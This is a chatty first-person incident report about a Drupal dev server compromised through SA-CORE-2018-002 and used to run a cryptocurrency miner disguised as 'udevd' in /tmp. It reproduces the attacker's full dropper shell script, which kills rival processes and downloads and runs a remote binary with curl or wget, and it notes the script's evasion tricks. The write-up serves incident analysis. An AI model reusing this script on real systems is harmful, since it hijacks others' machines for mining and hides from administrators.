!story.md

Abusing Drupal's SA-CORE-2018-002

I have a random server in Frankfurt. It was just a dev server, but I knew that it had a Drupal install that I forgot to patch. I was running 7.56, and should have updated, but missed the SA-CORE-2018-002 patch on this server. (If you're not patched yet, shame on you!) This is a cautionary tale...

Note to reader: this was written originally to a friend over chat, so it's rather ... chatty...

A few days ago, I get an email from my VPS telling me that the CPU has been maxed out at 100% since 10 AM.

So I ssh in, and run htop. it says that two instances of udevd are maxing out my CPU. (I didn't get screenshots at the time, reaperminer will be mentioned later!)

i'm like, "ok, what's udevd?"

udevd(8): event managing daemon - Linux man page udevd listens to kernel uevents and passes the incoming events to udev. It ensures the correct event order and takes care, that events for child devices ...

An event management daemon ... stack overflow says to fix, "kill process or restart computer".

But I'm too smartering for that!

I notice that it's not udevd, it's ./udevd -c .c. I check the owner permissions on the thread and it's www-data. How suspicious. Something from my web server is maxing out my CPU.

I go on, and do a find to figure out where this udevd is, and sure enough, it's in /tmp/.

Right next to two more files, .x and .c (which you only see with the -a flag in ls).

The .x script downloads a binary from a server in NL, renames it udevd, uses .c as a config file, and runs this "./udevd -c .c"

#!/bin/sh
U="http://[A server in NL]/..."
O="http://[A server in NL]/.c"

killall -9 udevd
kill -9 `ps auwx|grep udevd|grep -v systemd|grep -v grep|awk '{ print $2 }'` 2>/dev/null

for d in `pwd` /tmp /var/tmp /dev/shm /invalid /root /var/run; do
cd $d 2>/dev/null
if [ "$?" = "0" ]; then
cp /bin/ls . 2>/dev/null
if [ "$?" = "0" ]; then
./ls >/dev/null
if [ "$?" = "0" ]; then
rm -rf ls
rm -rf udevd .c
if hash curl 2>/dev/null; then
  curl -s -LO "$U"
  curl -s -LO "$O"
else
  wget -q "$U"
  wget -q "$O"
fi
mv ... udevd
chmod +x udevd
./udevd -c .c
exit
fi
fi
fi
done

I'm like, ok, it's already on my system. WTF is this thing? ("ITS IN THE HOUSE!" ~Candice). udevd --help returns a bunch of flags that are for a bitcoin miner. Oh hai there.

Someone used the Drupal exploit to download a script to download a bitcoin miner and run it on my CPU, which is hilarious, because the return is crap, esp on CPU. Now if you had a few thousand of these running ... and maybe you do ...

Some things to note that are clever:

• Everything is piped to /dev/null (pretty standard, I'll admit)
• The script tries to use curl then falls back to wget.
• The server that the fake udevd binary came from was a research website that probably got hacked itself, so the trail could be covered.
• The udevd binary is a legitimate name for a binary on many linux servers. Someone who didn't notice the ./ prefix might not have realized this was a miner, and just shut down the machine, leading to:
• Everything was in /tmp/ - If the admin rebooted the machine, there would be no trace. The exploit would just be redone, and one would be the wiser.

Some things to note that are not clever:

• Lots of VPS have a threshold for a CPU being maxed out. There was specifically a flag on the bitcoin miner that could have been set to below the threshold. I would never have noticed had my VPS not emailed me ...

Anyway, I leave it running, because I'm like, this is funny. I want to document this.

2 AM today, the CPU load stops. At noon, it starts up again, but this time, the author doesn't even hide the fact that it's udevd. This guy just runs reaperminer straight up. He even prepared the binary nttprd! Ok, down Fido ...

Enough is enough; I patched Drupal, checked for file changes (which there were none in drupal, because it's owned by root) and rebooted.

Normally, I'd just turn it off and delete the server, but I want to see if they can get in through a patched version of Drupal ... Keep you updated!

1.png

2.png

3.png